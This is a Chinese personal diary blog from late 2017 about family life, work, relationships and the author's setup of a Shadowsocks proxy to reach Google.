晚上没回公司宿舍，就近借住在大学同学处。他们三的状态看起来还不错，能感受到青春特有的气息。CT 的公寓还是那么乱，像他的大学宿舍一样乱。他有一句说很对，大概意思是：专注于提升自己，那么，好运只会迟到，不会缺席。
00:302017-09-24
大家也不要回避装腔这个话题，人活着都要装装腔，我也装，每个人都有不同的装腔方式。装腔是为了满足表达欲。毕竟生活不易，我们需要表达来寻找存在感和认同感。——银教授。
19:55大学同学 LHD 说我是直男，对异性太过直接。以前我会耍些小手段，现在腻了，想到什么说什么，最大程度去暴露自己的内心。六个字总结：反套路，不设防。但是，一开腔变成话痨，会对沟通的另一方产生交流的压力。坏习惯，得改。
23:002017-09-25
既不怕他人误解，又渴望他人理解。
约了大学同学 CYF 周一来公司面试，但他又通宵看小说，白天补大觉。浑浑噩噩，惶惶不可终日。很想帮他走出来，却无能为力。或许，我不能过于干涉他的选择，咸鱼也是会翻身的。
01:262017-09-26
在微信群里，应该以多人社交为主，争取和更多的人互动。不要长期点对点聊，那对群里其他人是个打扰。如果需要，可以私聊。
不要在群里求赞、拉票。一个评选如果是由网友投票决定的，那就不是什么权威的评选，如果想要让你的孩子赢，可以去淘宝买刷票。 叨扰你的群，就说明你根本不在乎这些群友的感受 。
不要炫耀智力优越感。炫耀自己比别人强完全没有必要，只会招致别人的反感。如果工作不饱和，可以看书、看电影，谈个恋爱，都比这种炫耀强。
by 熊太行
16:48
顺情说好话，耿直讨人嫌。一面害怕过于奔放会伤害到别人，一面秉持「趁年轻做自己」的人生信条。注定有人会讨厌我，同时也会有人在乎我，所以，少一点 Fake，多一点 Real。
00:022017-09-27
国庆想提前一天坐家人的车回去，所以下午跟经理请假，以为经理会爽口答应：「工作完成了没？我可是要检查的！」被经理这么一唬，心里没底，只好加了会班，这是我入职 72 天的第一次加班，平常下班，二话不说，直奔球场。不过经理吃完饭又补了句：要回就先回吧。这次没提按时完成工作的事，我果然被她唬了。
同学 YMH 今天发了个朋友圈：
有时候啊我都在想，我是不是真的做太多错事了说话太不注意了得罪太多人了
大家都安慰她，不要放在心上，别人的错不要强加在自己身上。为人处事，很难做到八面玲珑，勇于认错，也要敢于说不。
每日三省吾心。当我和同事混熟了之后，言行便开始嚣张跋扈。有事没事开一些低级幼稚玩笑，可知，言者无心，听者有意。沉稳一点吧，小伙子。
23:382017-09-28
加班（培训）回到宿舍，发现同事们在斗地主。牌可以打，但是烟不能在室内抽，但这句话只敢在心里说。
23:132017-09-29
众生疾苦，真正快乐的人有多少？大人不让小孩玩游戏，自己却不放下手机，腾出时间去解救孩子的无趣。童年原本应该快乐，但获取快乐的成本越来越高了。
21:07明天回家乡，没有特别期待，心情平平淡淡。一段时间没回家，快忘了有父母的家是什么感觉。但愿不塞车。
00:082017-09-30
300 公里回家路，5 个半钟的车速，上天保佑，没有塞车。
回到家的第一顿晚饭，吃得特别快，特别饱。囫囵吞枣，不辨滋味。
明天早起摘板栗，睡了。晚安，故乡。
00:332017-10
2017-10-01
长假塞车的问题，还要几年才可以解决？借助共享单车的精神，中国的创业者加把劲，早日解决长途客运的问题。
侄女朵朵一周岁了，Happy birthday。
08:082017-10-02
悲观的前行着。
从小到大，一到月末，就抬着微型人字梯，跟着爸妈漫山遍野地去抄表。因为村里的电表安装不规范，高低不定，所以需要梯子「升高」目光。
上大学的时候，我选择了「英语」专业，结果把我调剂到「电网」专业。
找工作的时候，我选择了「编辑」岗位，结果突然辞职，回到电网行业，成了一名电表的「测试工程师」。
兜兜转转，还是跟电表打交道，多么讽刺的决定。不说了，我要去抄表了（这不是段子，真事）。
15:40近来，有些村民早早摸黑去偷板栗，这件事在民众中引发了热议。小时候耕地多，灌溉用水有限，大家就三更半夜起来争水。民风不淳朴，百姓不乐业，此事古难全。
晚上大姐召开了炮家第一届家庭会议，成立了炮家基金会：七姐弟每月向公共账户汇入 100 块，作为父母的急救资金。
然后一起吃炒石螺，场面热闹，手速惊人，大家都展现了可怕的原始食欲。
下午路过发小同学良兄的家，发现盆栽（赤楠）挂满了枯叶。拍照发给良兄，调侃我要把它挖回去当柴火烧。我有预感他会把这段有趣的对话发到朋友圈，他经常这么干。万万没想到，他的高一同学 LR 对我产生了兴趣，刚好也在深圳工作，刚好也单身。
LR 很有勇气，加了我的微信。文字是我的武器，见她不善言谈，我就对她发起猛烈攻势。几天前，我还在检讨自己话痨这个毛病，结果，一找到倾诉对象，就止不住表达的冲动。
LR 对我的新鲜度会有几天？且听下回分解。
00:322017-10-03
一家人难免吵吵闹闹，我要控制情绪，不给争论添乱，努力做一个「和事佬」。
鉴于小米 6 出色的拍照能力，一天拍个几百张都不能浇灭我创作的激情。为了合理的视角和和谐的构图，不惜做出乖张地抓拍动作，但这值得。
外甥长大了就不愿意拍照，为了让他们乖乖和我这个怪舅舅拍照，我开出了让他们玩一会手机的条件，并且不笑不合格。
这和我每天熬夜写日记是一个道理，都是为了定格美好的瞬间。人是健忘的动物，特别容易忘了谁对你好。
今天是 LR 姑娘加我的微信的第二天，都快 20:00 了，怎么还没找我聊天。我忍住不开话，万一人家昨晚就跟我聊烦了。突然来信息了：「Hello，吃饭了吗？」结果她跑去吃饭了，留下一句「晚点聊」，撩拨我的心弦（外甥拿我手机玩游戏，我时不时问有信息吗）。
闲着也是闲着，和家人炸起了金花（底注 1 块钱），前期运气不咋的，后期人挡杀人，神挡杀神，想输都难。最后赢了百来块，三个字，美滋滋。其实最重要的不是赢钱，而是期间的欢乐时光。
23 点了，LR 姑娘才猛然醒觉还有「晚点聊」的约定。此时，我未洗，她已困。我很佩服作息规律的人，这可是让生活井井有条的第一步。
夜深了，母亲还在浴室洗父亲的衣服。出汗多，留到明天就臭了，所以坚决要今晚洗，明早母亲还要早起照料农事。
外人说七姐弟都长大成人了，二老也该拍拍屁股享清福。母亲自嘲道：「一辈子都是苦命鬼。」
00:152017-10-04
一个人如果没有梦想，跟无忧无虑有什么区别呢？
16:54今年的中秋没有月亮，布满乌云：
- 父亲认为喝「高山绿茶」治百病
- 母亲认为娶「外省老婆」不太好
- 哥哥认为分「一段恋情」洒洒水
- 姐姐认为找「身体健康」最重要
Ta 们不考虑两人的羁绊，却用家庭的「羁绊」去绑架亲人的婚恋自由。我不同意 Ta 们的观点，像往常一样，Ta 们认为我读了 16 年书读「坏」了。愚昧陈腐的择偶观念，几时走向开明？
22:162017-10-05
人的所有动机都源自性冲动——弗洛伊德。
早上突然想戴着草帽拍张「鲁夫照」，致敬《海贼王》。
我的幸运号码是 56，因为小时候的鲁夫穿过一件衣服，上面印着 56。
拍了很多出彩的照片，一天都要发几个朋友圈，罪过罪过。很难界定是显摆还是分享，讨厌的人自然会屏蔽，喜欢的人照常会点赞。
下午陪母亲去摘栗子。事实证明，直接上树摇，比在树下用带钩子的长竹竿拉有效多了。坐玻璃电梯会恐高，上树却不会，但总有一种念头闪过：万一不幸坠落，半残乃至归西，怎么办？虽然人世悲凉，但依旧有留恋的东西。胡思乱想过后，树上的每一步将变得很有意义。
傍晚满载而归，回来的路上把脚崴了：
- 扛着收成，身体不平衡
- 路有积水，又小又滑
- 鞋子不适合走路
- 注意力在跟拍母亲，没看脚下的路
综上，不幸负伤，好在不严重，微肿微疼。
如何处理脚踝扭伤，我和父母出现了分歧。我认为先冰敷防肿，再热敷消肿，而父母坚持全程热敷。
晚上父亲想给我贴臭臭的「狗皮膏药」，见伤情较轻，自然恢复即可。如果父亲坚持要贴，纵使知道这是错的处理方法，我也不会反抗。情愿好得慢，也不能惹父亲动怒。年纪来了，身体重要。
母亲不饶，要给我搽另一种膏药。短暂冲突后，二姐救场：你儿子书不是白读的，他自有分寸。
农村偏方依靠经验，现代医学讲究机理。无伤大雅的小伤面前还无所谓，如果出现重大医学错误，再听任家人摆布，就是愚孝。
十五的月亮十六圆，可惜手机拍不出效果。趁着月色，家人又谈到择偶的问题：孝敬父母，就不要娶外省妹。路途遥远，沟通障碍。
唉 😦 心好累，挖个鼻屎开心一下。用力过猛，扣出鼻血来了。
23:232017-10-06
虽然脚伤未好，还是颤颤巍巍地骑着女装摩托车去外婆家载番薯。
小姨因为外婆的赡养问题，和母亲吵架了。小姨哭诉母亲不仁义，母亲抱怨小姨管太多，双方都不容易。
母亲不能因为外婆袒护她的儿子们，就铁石心肠，毕竟生育之恩，血浓于水。
家家有本难念的经，我劝外婆和小姨放宽心，人在劳累之后很容易说一些气话，听一半就好。
明天就要返深了，我已经开始怀念家里的饭菜。可能因为味觉退化，爸妈做菜重油重盐，一直劝二老要清淡饮食，一直不听。到如今，不想劝了，就让父母有滋有味地活在当下，以后的事再说吧。
23:212017-10-07
他们外甥人如何，他们本地人如何，这就是思维上的偷懒，想用一个标签来涵盖一切。
18:04在真实的人生场景中，为了一个长期的目标，忍受眼下的枯燥和无趣，这也是人生常态啊。
18:12农历八月十八是钟万叔公的生日。这一天全村的姓钟人都会到「万公祠」为其庆生。
万公何许人也？他是葛州村最初几代的祖先，具体几代我忘了。
35 块钱一张饭票，村民即可坐在八仙桌上，草草地吃一顿油腻肉气的饭菜。大家因为这场古事而相聚。依我的观察，却没有增加彼此的凝聚力。
例行的仪式，热闹一阵罢了。当老一代逝去，年轻一代可能不会延续这场无聊的「盛宴」。
开了一天的车，老哥的左眼发疼了，而且每几个月就会复发，希望老哥能积极配合治疗。
理了新的发型，学着打扮，几时都不迟。
21:472017-10-08
有我在，12 岁外甥东东就不会认真做作业，净让我带着他玩游戏，因为平时可接触不到智能手机。
本想让外甥劳逸结合，却发现外甥已经入魔，一旦不让他玩，抵触情绪就会泛滥。说什么都不听，用各种理由拒绝按时完成作业。青春期的男孩子开始叛逆了，一念天堂，一念地狱，好坏自有造化。
改变人的认知、价值观是件很难的事情，不要带着对立心态去沟通。话虽如此，我已疲以应对，只要看淡生死，一切问题都显得苍白无力。
没错，在没有找到人生的意义之前，我将持续这种悲观厌世的状态。放心，我还想活着，只是少了很多自认为无所谓的抗争。
23:422017-10-09
我在不断地骗自己。
洗完澡，刷完牙，躺床上，回想今天，有何值得记录的事情。没想到，睡前写日记，已成必修课。流水账式的文字，无意之间浇筑出一朵朵记忆的碎花，随手拈来，我都记得它花开的难忘瞬间。
HYH 是一位胖嘟嘟的生产线工程师，年龄 30 上下，有老婆孩子。和我一样，爱吹牛逼：
- 经常让我向同事们打听打听他是谁
- 当着我的面，打电话给另一位同事，问他俩的关系铁不铁
- 这位接到电话的同事国庆从老家的带了 10 斤米粉，就分了 5 斤给他
- 带大家去看他的轿车（17 万）
- 打架能叫一车人
- 「50 块」就买了一双鸿星尔克的篮球鞋
HYH 着急地向众人展示他的过人之处，迫切地想得到大家的关注，他的内心应该很孤独。在某种层面，我和他很像。但我不敢与他深交，因为和他在一起，逼全他一个人装了。
00:122017-10-10
鉴于一个电动牙刷要接近 400 块，昨天纠结一晚，未敢下单。今晚一起床就来气，果断下单。过了一晚，降价 10 元，用了优惠券再减 35 元，最后实付 344 元，心里美滋滋的。
08:30第一次用电动牙刷，牙膏挤两次都被震掉了。震感强烈，牙都震酥了，果然需要一个适应的过程。
突然想到牙膏为什么会被震掉？因为正确的刷牙顺序是：挤牙膏到电动牙刷 - 放进嘴巴 - 启动电动牙刷。
00:30翻墙 IP 被封了，一不用 Google 搜索引擎，就浑身难受。近期得学会买 VPS 搭建 SS，希望能买到一个高速的 VPS。
00:332017-10-11
今天的工作比较悠闲，所以我除了给老同学修改简历，剩下的时间都在研究买哪家的 Cloud Host（云主机）作为科学上网的 VPS。
试来试去，选择了 Vultr 的服务器作为我翻墙的垫脚石。但是月付 2.5 美元的主机只剩下迈阿密和纽约了，虽然迈阿密的地理位置与中国近，但是速度不稳定，所以最终选择了纽约的主机。
找了很多优惠码（Gift Code）都失效了，只好作罢。用 PayPal 支付最低可以充值 5 美元，但等不及微信提现到刚绑定 PayPal 的银行卡，只好用支付宝充值 10 美元（最低充值额度，约合人民币 65.93 元）。
其实搭建不难，下载两个软件，复制粘贴十几行代码即可搞定，但是总想寻求最优的搭建方案，因此反反复复看了不少教程，年轻爱折腾。
使用纽约云主机成功突破网络审查：
Congratulations, Shadowsocks-python server install completed! Your Server IP : 45.77.152.155Your Server Port : 56Your Password : *******Your Encryption Method: aes-256-cfb当前翻墙速度可观，不过公司宿舍的 Wi-Fi 才 6 Mb/s，换算成常用的单位，即 0.75 MB/s，完全不能发挥服务器的性能。还有，一个月 500 G 流量，4 个人用，不知够不够用。
一切静待明天，一个拥有无国界的互联网的明天。
00:512017-10-12
听我一句劝，放下心来，不要再想自己被墙了几个 IP，读几页自己喜欢的书，出去去阳光里走走，要么骑骑自行车，天黑了约几个好久不见的朋友喝喝茶，一天下来，你就会发现，他妈的又被封了几个 IP！
13:02人生在世，幸福应当是唯一去追求的事物。by V2EX Livid
16:024 年前的这个时候，同学们的大学都开学一个月了，我还在放牛。2013 年 10 月 12 日，终于踏入大学的殿堂，发现新校区一片荒芜，基础设施全部未建，连图书馆都是临时的，这些都可以忍受。最让我不满的是，去市区和回学校的公交特别挤。那是一个闲得发慌的厌学时代，发呆是我们的常态。
01:052017-10-13
「以为自己很重要」、「以为自己很聪明」、「以为自己很幽默」，堪称现代人类三大顽疾。——Twitter.LovatMemo
信息爆炸，脑子爆浆，完全看不过来。世界越来越复杂，变化越来越疯狂。自己是谁？重要吗？聪明绝顶，快乐吗？把幽默武装进生活，即使别人不理解你的风趣。Find your inner peace.
00:052017-10-14
如果你突然受到多数的压力，赶紧给自己这三句话：
- 我不需要那么多朋友
- 那些准备坑我的不是朋友
- 会有明白人站在我这边
保持适度的偏见：不要因为自己保有某种偏见而纠结、痛苦、自责 ，也不要为了去对抗某些偏见就跑去强令自己交一些你不喜欢的朋友，要培养自己不再恐惧关系破裂的能力。by 熊太行
11:28小姨（妈妈的妹妹）来二姐的公司上班（后厨打杂），在老家农村总和老妈吵架。但愿小姨能适应都市的生活，被城里人温柔以待。
大姐的邻居是一位和善的人，30 来岁，孩子上小学。做了 10 多年的企业内控岗位，半年前跳出舒适区，跟着我大姐卖太平保险。
她一直强调，慢几步，深几度，学一门扎实技术，把自己变得不可替代，这才算找到了安身立命之本。
她觉得自己不善言谈，无法成为八面玲珑的保险销售精英，可是在今天晚上，我们之间好似多年未见的老友，深入交谈了一个多钟，从中国国情、职业规划、人生意义到家庭婚姻，但是最后谁也说服谁，和而不同，求同存异，没必要完全认同彼此的观点。
我们都觉得人与人之间，互相理解不是容易的事，多一事不如少一事，不跟 Ta 接触就好。
她总是问我：五个姐姐哪个最好？很难回答，每个姐姐（哥哥）都对我很好，没有可比性。她们是我生命中重要的「过客」，时刻提醒自己，感动常在。
想要一个空闲的周末，静静地窝在宿舍看电影，这将是何等地享受。
01:022017-10-15
坐公交车玩 3D 游戏（我的世界）玩到晕车，全身发冷出汗，肚子翻江倒海，那滋味真不好受。
周末本是放松休闲的好时光，可每过完周末，身心尽是疲惫。看一会资讯，睡了。
22:10大多数人的独角戏通常是和自己的谈话，即用第一人称和自己交谈，比如「我好迷茫」。如果换成第三人称和自己对话，能起到安抚小情绪的作用：「庭勃士很迷茫」。
把自己看成他人，这种客观中立的眼光能拉开自身经历的心理距离，帮助我们更好的管理情绪。by 京师心理大学堂
庭勃士说好了 10 点睡，现在到 12 点半了还没睡，他在不断地骗自己。
00:252017-10-16
从未失去，也未曾拥有。
几天下来，还没做好转正答辩 PPT，时间都花在追求版式上的优美。夜深了，就不啰嗦了。
01:132017-10-17
在维基百科看到一个很有趣的词：老屎忽（old seafood）。即元老派，在组织中是年资长、薪酬水平和职级或者比较高的职员，已有的企业文化也是他们建立的。但是又被对立的新鲜人称之为老饼、冗员、负资产，即是老板的“黑五类”或俗称老屎忽（屎忽在客家中是屁股的意思：老员工一屁股坐在高位上不肯让贤）。
11:32知乎公众号推送了一篇名为《《色，戒》里的床戏为什么要拍得像三级片一样裸露？》的文章，于是 18:00 下班后重新温习《色，戒》（英文：Lust, Caution）中的三段「床戏」，细细研读，恍然大悟。这样的电影，花几个钟甚至几天去解读，都不觉得乏味。
因为道行（heng）浅，一些细节在观影时觉得很正常，或者压根没发现这些细节，经影评点拨之后，竟有一种如沐春风的感觉，举两例：
易先生每一次高潮的时候都睁着眼，因为他恐惧。一个连高潮都不敢闭眼的人，他得喝二两白酒。
易先生工作的地方，戒备森严，即便是晚上，路面上依旧有刷马桶的、修自行车的、箍桶的，这些人从白天一直工作到晚上，毫无意外都是特务。
再之，就是电影中的精彩台词，越品越有味，比如这句：他不但要往我的身体里钻，还要像蛇一样的往我的心里面愈钻愈深。
张爱玲说过，通往女人心里的路是阴道。当然，很多人接受不了这种表达方式，因为中国是性压抑太久，只看到色，我看到的是人性与悲剧。by 知友不可言说之
23:492017-10-18
说来讽刺，网上搜索了一天的国家标准（GB/T 17626 电磁兼容试验），居然没有官方下载途径，只能找到纸质扫描版，没有可以复制文字的电子档。堂堂一个国家标准，你得付费购买纸质版，真是狗日了国家标准委。
打篮球是我主要的运动，但不能再这样「野」下去，系统地学习一下「章法」，很有必要。
于是我上 Google 搜索关键词「篮球教学」，发现「sikana」出的教学视频制作很是精良。整个教程分 67 小节，一口气看完需要 134 分钟。
如果打开官网比较慢，可以在各大视频网站搜索「sikana」：网易云课堂、bilibili、优酷，腾讯视频、芒果TV、凤凰视频……
「sikana」的目标是建立开源式的免费学习平台，分享值得传递的知识与技能，目前有以下栏目：
- 烹饪（自制甜点）
- 艺术（涂鸦折纸）
- 自然（制作堆肥）
- 健康（自救、急救、防治传染病、交通安全、哺乳）
- 运动（篮球、足球、羽毛球、高尔夫球、跑步、游泳、健走、骑行、登山、杂耍、老年人健身运动）
以前不喝茶的时候，呼噜呼噜就睡着了。这几天开始喝茶了，结果连续几天失眠。再这样熬下去，身体会吃不消的。所以明天开始，禁茶一段时间。
03:00还是没睡着。
04:262017-10-19
Talk is cheap, show me the code.
网友和我是这么翻译的：
- 行胜于言
- 事实胜于雄辩
- 废话少说，放码过来
- 冗谈无用，口说无凭
- 天道不一定酬所有勤，但是，天道只酬勤
延伸：
Talk is cheap, show me the money.
17:1665 岁的舍友今晚出去喝了点小酒，回到宿舍，一反常态，要是我帮他打水，他就给我唱一首歌，用于追女孩子有奇效。上楼打水回来，没想到真唱了，虽然严重跑调：
（从未失去也未曾让我拥有），我爱你爱你却难以开口，只好偷偷的走在你身后……
这是《情义无价》的主题曲，20 世纪 80 年代台湾电视剧的代表作之一，被誉为台湾电视史的传奇。by 维基百科
心态多么开朗的大叔，愿我老了也能如此：热爱生活，拥抱阳光。
梁文道是锵锵三人行的常客，他的观点击中了我：
很多人寻求被感动
沉浮变幻，执我本心
我不喜欢太过肯定或否定一件事情
我常常感觉到自己的虚伪、下流和无耻，因为我写东西的时候，总会在怀疑我昨天还在做的事情，这就是我说的道德焦虑。
微信通讯录 303 人，屏蔽了 65 人，是时候把 Ta 们放出来透透气。若反感，复蔽之，这样的行动我干过很多次了。后悔刚开始玩微信的时候，热衷地加好友。
启动「朋友圈疏离」计划，关闭朋友圈入口，复杂的社交，一天打开一次就够了。
01:092017-10-20
今天晚上投球特别准。突然老爸来电话，一阵寒暄之后，问我入户深圳的 1 万 5 补贴到了没，先把哥哥的车贷还清先，我说还没有。
又一个突然，老爸话锋一转：有本地姑娘可以先谈着，但是我有一些要求：
- 娶外地的，爸爸会不开心
- 性格温柔，日子过得才顺
我以为只有老妈才会「怂恿」我谈恋爱，严肃深沉的老爸最少得再过几年才会对婚事开口。
从四年级开始，我就一个人在外求学，只有节假日才回家，所以和家人相处的时光并不多，Ta 们也很放心我独自生活。然而，Ta 们不放心我选择的女孩（说得好像有了一样）。
作为一个怪胎，找到一个契合的灵魂伴侣是第一位，但不容易。对于家人的择偶要求，慢慢沟通吧。
接着，老爸让我今晚别打球了，告诫我现在就回宿舍，做个听话的乖孩子。因为我属狗，今天的黄历龙冲狗，还是狗月，万事小心，打球激烈，会对我不利。不信科学信鬼神，悲哀的世人。
22:06二姐发现小姨的买了很多阿莫西林（抗生素），因为有人说吃这药可以治疗皮下脂肪瘤（可能是遗传外婆的；多数良性，没有特效药）。
不信医学信偏方，哀其不幸。但也不能怪深居农村的小姨。生了病，没有可靠医疗信息来源，要么求神拜佛，要么听信他人的用药经验，更不舍得去好医院破费银两。
身体上的小问题，可以去问丁香医生（微信公众号 / App）。
23:402017-10-21
公司组织全体员工一起爬羊台山，在 J 同事的带领下，夺得第 9 名。但最开心的是增进了同事间的友谊。
几年没见的武校同学 HHT 老早就约我打篮球，于是午休后又跑到「坪洲篮球公园」赴约。一来到，傻眼了，它们打的是全场。结果可想而知，我像一只乱飞的无头苍蝇，好像 5 投 1 中，丢人。
晚上跑到附近和大学同学一起吃晚饭，他们都说我瘦了，窃喜。
01:062017-10-22
我一直不把自己当正常人看待，甚至怀疑自己得了癔（yì）病。
歇斯底里（Hysteria）又称癔病。会毫无来由的爆发情绪，会异常激动，举止失常，有短暂的精神异常。也被称为：癔症性假性痴呆。其性格特点，主要表现在五个方面：
- 情感活跃、思维跳跃、幼稚。易受环境影响而发生改变，对人对事也易感情用事
- 很容易接受周围人的言语、行动、态度等的影响，对情感有倾向性，则易受暗示
- 有自我中心倾向，过分夸耀和显示自已，喜欢当众表现
- 特别富于幻想，易于把现实和幻想互相混淆，谎话多余真实
- 性格突变，易钻牛角尖，兴奋极致和低落极致，能在同一时间表现出来
by 飞碟冷知识
19:13我经常思考这三个「奇葩」的哲学三问：
- 我是谁
- 我从哪里来
- 将到哪里去
你有答案吗？
01:252017-10-23
在人际交往中，少一个敌人就多一个朋友。今晚却和一位同事 HYH 发生口角：
- 他凭什么抹黑一个陌生人
- 他凭什么在别人宿舍抽烟
- 他凭什么高高在上不可一世
- 你可以爱憎分明，取悦自己
- 你可以八面玲珑，取悦众人
- 但你不可以贬低别人，抬高自己
「钟」言逆耳，我也有不对的地方。不想结识纸一个人，渐渐疏离就好，没必要撕破脸皮。
23:43每次发朋友圈，删删改改，却不知道怎么才能好看又有趣。用幽默的方式去看待世界，给悲凉人世加上一道快乐的滤镜。
23:572017-10-24
今天是我写博客（网络日志）的第 100 天。
要坚持的事情大多不会持久，仅仅是睡前「写」几行字而已，不用自我感动。相比于公众号，博客更自由，排版更优美。我喜欢自由，也喜欢美的事物，两者兼得，美不胜收。
写博客就是与自己对话的过程，或三省吾身，或记录生活。在这其中，文笔会慢慢提升，文风会慢慢有趣，看到这些变化，身为文字爱好者，心里那叫一个美滋滋。
最美好的是，拥有若干「钟」实的读者，Ta 们的阅读给了我很大的鼓励。在此，由「钟」地感谢「庭说」的读者们，Best wishes to you all, good night.
00:222017-10-25
每天都在演戏，片酬很低的那种。
08:06同一个账号，公司的电脑从昨天开始不能上 Google，宿舍的电脑和手机却可以上。
网上打听了一天，没有结果。于是把 Shadowsocks 升级为更隐蔽的 ShadowsocksR。
02:302017-10-26
几个月前，我是一位不得意的新媒体小编。偶然在知乎上看到这个问题《新媒体小编到底多没成就感？》，这是当时的回答：
同感。就要毕业了，该不该走新媒体的道路？千辛万苦取一个恶心的标题党，犹如站街女（不含贬义，职业平等）一样花枝招展，一点意思也没有。阅读碎片化的时代，为了吸引更多的眼球，必定会失去对文字的敬意。 by 近期得了性冷淡，不愿去挑逗用户的新媒体小编。
2017-06-08时间回到现在。今天的工作时间大部分都花在怎么如何访问 Google 上，ShadowsocksR 还是未能突破网络封锁。一共有两道墙：
第一道墙是公司砌的，目的是限制与工作无关的网络需求，比如限制登录微信，封锁大部分视频网站
第二道墙是政府砌的，为了控制网民的信息来源，比如黄赌毒、邪教、政治敏感话题、外国社交网站等，其中就有我离不开的 Google
我的好奇心极强，有啥不懂我都会上 Google 搜索答案，而且它总能给我想要的东西。好不夸张地说，它是我进去互联网的入口，而百度是互联网的黑洞。
四方误解的情况下，不知是不是吃了熊心豹子胆，我问公司的 IT 工程师 HMK 是不是前几天限制了 Google，MK 说没有这回事，他也不懂翻墙。
我不死心，冒着可能被辞退的风险，问另外一位 IT YF，我跟 YF 说：因工作需要，我必须上 Google。在 YF 的热心协助下，依旧不行。不过 YF 的一句话点醒了我：办公室的网络运营商是电信，「技术高强」，检测到我的 IP 有「不法」行径，稳稳地封了。但是宿舍是联通网络，因此躲过一劫。
既然电信封了我的 IP，只好再申请一个 IP，并且更换了加密方法，增加了混淆参数。看在我一不反共，二不反党，只是用用 Google 的份上，还望电信老大爷手下留情，放我一马，比心。
今天午休后进行了人生第一次转正答辩。演讲过快，没把握好节奏。
基于平时的工作表现，得到了直属领导认可。相比之下，直属领导的领导，严苛许多。领导没有谈转正后加鸡腿的事，我也没底气问。
00:542017-10-27
把 New York 的 IP 换成 Miami 的 IP，办公室又可以上 Google 了，好开心。
08:43路由追踪（TraceRoute）Miami 的 IP，跨过太平洋 -> 登陆洛杉矶 -> 来到迈阿密 -> 终点站是皮斯卡特维（纽约附近）。怪不得 Miami 的 IP 和 New York 的 IP 如此相似，Vultr 你个大骗子。
10:49新的翻墙 IP 非常不稳定，公司电信网络和二姐家的长城宽带都无法访问 Google，但我不会放弃，自由价更高。
纸包不住火，一位女同事说我有多动症，看来这辈子是无缘「安静的美男子」这个称号了。
23:182017-10-28
今天去添置秋冬的衣物，虽然事先做了攻略，但是到了服装店一试穿就惨不忍睹。长得矮，肩膀宽，豪华臀，并不容易买到合身的衣服，更别提有型了。
要是有贤内助指导我的穿搭，那该多好呀。但这是一个陷入死循环的悖论：相貌不惊人，如何抱得美人归。
去追《白夜追凶》了。
00:13好看，但得休息了。
01:022017-10-29
我就不知道不能看连续剧《白夜追凶》，耗时间，费心思。这几天是少不了熬夜追剧了，话说没追剧的时候，我也熬夜。
00:332017-10-30
话不说不透，理不写不明。
试用期考核等级为 B，完成学生到职场人的转换，需要时间和方法。
11:21今天 18:00 下班后没去打球，满门心思放在追剧上，我就知道自己会陷进去无法自拔。
一位在银行上班的同学 CY 突然问我有什么工作介绍，她想辞职：
- 上班时间长（每天工作十多个小时，晚上八九点下班）
- 销售压力大（卖基金、保险）
- 轮岗周期长（柜员 + 营销）
- 无法用心工作（觉得自己什么都不会，于是恶性循环）
辞职去向：
- Plan A：事业单位
- 学校的行政类的
- 考上几率特别小
- 但非常想去尝试
- Plan B：普通公司
- 做一个小职员
- 压力大了之后没有什么想法，就想简单点的
Ta 埋怨自己道：一直被嫌弃，我从来没有想到我会这个样子（我也会这么想）。
听了她的困扰，我建议：
- 尝试用心工作，总能学到东西
- 跟着兴趣走，趁年轻，试错成本低
可以看出，两个极端我都说了，这算哪门子建议，而且我连自己现在的职业方向都不明确。但愿她有自己的思考，路还是自己走出来的。
舍友 LMZ 让我陪他出去吃夜宵，一桌子十几号人，男女一半，我都不认识。席间得知，一哥们失恋了，大家出来陪他买醉。陌生的社交环境，我的话不多，啤酒却喝了不少，祈祷今晚不会遗精。
01:092017-10-31
白天加黑夜，3 天追完了《白夜追凶》。一共 32 集，除去片头片尾，一集 40 分钟。结局仓促，没看明白，睡醒查查影评。
01:522017-11
2017-11-01
当听到同事妹子 YQ 称呼我为「知心姐姐」的时候，那个瞬间，我感到被世界温柔以待。
19:19年轻人的丧文化是逃避，中年人的油腻是苟且。中间游荡着无处安放的灵魂。 by gongminyaoyao
将就当前的生活状态，不想规划人生下一步怎么走，知足还是逃避？我没有答案。
19:28多数人在二十五岁就死了，浑身开始散发出隐隐的尸臭，不过到七十五岁才入土为安。
20:39“你对自己最不满意、最想改变的一点？”
“哈哈哈哈，看你这个问题问得！我是个天生的乐天派，我对自己没有不满意的地方，我也没有什么需要改变的。从小到大，爸爸妈妈给我的一切都是他们能给我的最好的：健康的身体，坚强的意志，各种学习机会......” ——人在深圳01:012017-11-02
又一个球友夸我「跳投」姿势帅、好看、漂亮。不得不说，他们真有眼光。
21:532017-11-03
周五下班后，CHQ 同学请我们去「啪啪运动公园」打篮球，租费不便宜，相聚不容易，无篮球不兄弟。
钱多事少离家近的工作，取舍由己，难以兼得，切不可怨天尤人。
03:112017-11-04
性，是一个朴素自然的欲望。阔别不了多久，Ta 自然会来找你。
11:12和姐夫、亲哥、表哥开了个麻将房，差点打到通宵。学会了打麻将的规则，但是就是学不精，就如打牌一样，需要脑力的我都不在行。
04:272017-11-05
我从舍友口中得知，小台灯影响他睡觉，罪过罪过，熬夜是自己的事，万不可给人添麻烦。
花时间在双十一薅羊毛，发现不值得。昨晚打麻将打到 5 点才睡，今天早点睡。
21:17睡醒一觉，起来摸摸手机，一看才 23 点多，收到一条微信消息：
- 六十高寿的老爸已经穷尽毕生之力给你们两兄弟在深圳买了两套房（小产权），听说大姐又想把她旧的小产权房转卖到你名下，作为你的婚房，徒增老爸的压力。可有此事？
- 没有。
- 你对未来有规划吗？
- 没有。
- 还有什么想说的？
- 我的择偶态度很强硬，休想让我匆匆结婚。不合适的人，离婚是迟早的事，何必呢？
- 笼中困兽一旦翅膀硬了，我可能会飞到其他地方去谋生，甚至出国。给我一个不能交易的不动产，让我扎根深圳（已是深户），会不会太唐突。
- 姐哥和父母都是至亲，要是为我好，就不要用亲情绑架我，祈祷家人多一分理解，少一点迷信。
- 家庭作为人类社会的基本单位，为了个体自由，不排除我会斩断血缘关系，一了百了。
- 可能事情并没有我想象中的那么糟，但自私的我已经做好了最坏的打算。
- 家家有本难念的经，我想追寻属于我的自由。人生短短几十年，我想为自己活。
00:51
失眠，寻思着「庭说」公众号复出计划。除了写作，我找不到更好的倾诉方式。
02:322017-11-06
人似秋鸿来有信，事如春梦了无痕。
我有很多想写的东西，但总想构思得全面一点再动手，于是写作计划一再搁置。亦如不能准备好所有食材再下锅，现炒现卖才会激发更多真情实感。
于是乎，今晚下班后没去打球，留在宿舍给庭说的公众号更新了一篇推文《电动牙刷，很有必要》。因为双十一近在眼前，再不怂恿大家买，就错过打折季。
